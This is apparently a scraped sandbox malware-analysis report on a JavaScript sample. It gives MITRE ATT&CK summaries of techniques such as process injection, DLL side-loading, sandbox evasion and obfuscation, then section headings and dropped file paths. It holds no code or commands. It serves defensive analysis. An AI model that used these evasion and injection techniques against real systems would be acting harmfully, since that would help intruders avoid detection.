Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15410205613216010723.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\07d23f3f-05fb-4993-b87a-6cb4f50267fe.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7332

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
15410205613216010723.js